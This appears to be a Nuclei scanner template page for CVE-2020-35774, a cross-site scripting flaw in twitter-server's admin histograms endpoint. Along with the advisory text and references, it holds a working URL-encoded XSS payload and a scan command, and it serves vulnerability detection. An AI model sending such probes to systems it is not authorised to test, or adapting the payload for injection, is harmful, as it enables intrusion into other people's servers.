twitter-server Cross-Site Scripting

ID: CVE-2020-35774

Severity: medium

Author: pikpikcu

Tags: cve2020,cve,xss,twitter-server,twitter

Description

twitter-server before 20.12.0 is vulnerable to cross-site scripting in some configurations. The vulnerability exists in the administration panel of twitter-server in the histograms component via server/handler/HistogramQueryHandler.scala.

YAML Source

id: CVE-2020-35774

info:
  name: twitter-server Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    twitter-server before 20.12.0 is vulnerable to cross-site scripting in some configurations. The vulnerability exists in the administration panel of twitter-server in the histograms component via server/handler/HistogramQueryHandler.scala.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.
  remediation: |
    Apply the latest security patches or updates provided by Twitter to mitigate the XSS vulnerability.
  reference:
    - https://advisory.checkmarx.net/advisory/CX-2020-4287
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35774
    - https://github.com/twitter/twitter-server/commit/e0aeb87e89a6e6c711214ee2de0dd9f6e5f9cb6c
    - https://github.com/twitter/twitter-server/compare/twitter-server-20.10.0...twitter-server-20.12.0
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-35774
    cwe-id: CWE-79
    epss-score: 0.97225
    epss-percentile: 0.99823
    cpe: cpe:2.3:a:twitter:twitter-server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: twitter
    product: twitter-server
  tags: cve2020,cve,xss,twitter-server,twitter

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f1bc2f22a20380b17d3b4112f2d7b74d8cae038170d2913610d2b3929cad4003022100848b3da61bc7d69a72748446c082e82385005d2f49995b9444cad56a70333520:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-35774.yaml"

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